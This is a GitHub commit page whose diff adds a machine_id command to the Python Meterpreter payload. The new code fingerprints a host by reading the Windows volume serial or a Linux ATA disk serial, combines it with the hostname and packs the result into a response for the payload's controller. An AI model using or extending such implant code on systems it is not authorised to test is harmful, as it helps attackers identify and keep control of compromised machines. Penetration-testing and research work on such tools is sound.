Skip to content

Commit 02383d4

Browse files
committed
Add machine_id functionality to python meterpreter
1 parent 79ec2e0 commit 02383d4

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed

data/meterpreter/meterpreter.py

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#!/usr/bin/python
22
import code
33
import os
4+
import platform
45
import random
56
import select
67
import socket
@@ -141,6 +142,8 @@
141142
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
142143
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
143144

145+
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
146+
144147
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
145148
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
146149

@@ -560,6 +563,36 @@ def handle_dead_resource_channel(self, channel_id):
560563
pkt = struct.pack('>I', len(pkt) + 4) + pkt
561564
self.send_packet(pkt)
562565

566+
def _core_machine_id(self, request, response):
567+
serial = ''
568+
machine_name = platform.uname()[1]
569+
if has_windll:
570+
from ctypes import wintypes
571+
572+
k32 = ctypes.windll.kernel32
573+
sys_dir = ctypes.create_unicode_buffer(260)
574+
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
575+
return ERROR_FAILURE
576+
577+
vol_buf = ctypes.create_unicode_buffer(260)
578+
fs_buf = ctypes.create_unicode_buffer(260)
579+
serial_num = wintypes.DWORD(0)
580+
581+
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
582+
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
583+
None, fs_buf, ctypes.sizeof(fs_buf)):
584+
return ERROR_FAILURE
585+
serial_num = serial_num.value
586+
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
587+
else:
588+
for _, _, files in os.walk('/dev/disk/by-id/'):
589+
for f in files:
590+
if f[:4] == 'ata-':
591+
serial = f[4:]
592+
break
593+
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
594+
return ERROR_SUCCESS, response
595+
563596
def _core_loadlib(self, request, response):
564597
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
565598
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:

0 commit comments

Comments
 (0)